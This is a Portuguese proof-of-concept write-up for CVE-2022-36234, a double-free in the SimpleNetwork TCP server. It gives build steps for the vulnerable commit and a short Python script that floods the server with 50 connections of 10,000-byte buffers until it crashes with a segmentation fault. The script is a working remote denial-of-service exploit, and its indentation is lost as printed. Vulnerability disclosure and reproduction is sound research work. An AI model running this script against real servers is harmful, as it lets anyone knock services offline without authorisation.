
Prova de conceito para CVE-2022-36234
Foi descoberto que o SimpleNetwork TCP Server no commit 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 contém uma vulnerabilidade de double free que é explorada por meio de pacotes TCP forjados. Disparar o double free permite que clientes derrubem remotamente qualquer servidor TCP SimpleNetwork. Em outras situações, vulnerabilidades de double free podem causar comportamento indefinido e, potencialmente, execução de código nas circunstâncias certas.
Para garantir que você tenha as ferramentas de compilação padrão necessárias para compilar a biblioteca, instale os seguintes pacotes (na maioria dos sistemas eles já estarão instalados):
sudo apt-get install build-essential git
A vulnerabilidade pode ser reproduzida enviando requisições consecutivas ao servidor, contendo um grande buffer de caracteres em um pacote TCP. Primeiro, compile a biblioteca 'libSimpleNetwork' e o servidor de exemplo fornecidos no código-fonte:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
Se for bem-sucedido, o servidor será derrubado e você verá a seguinte saída do aplicativo:
segmentation fault ./server 80 1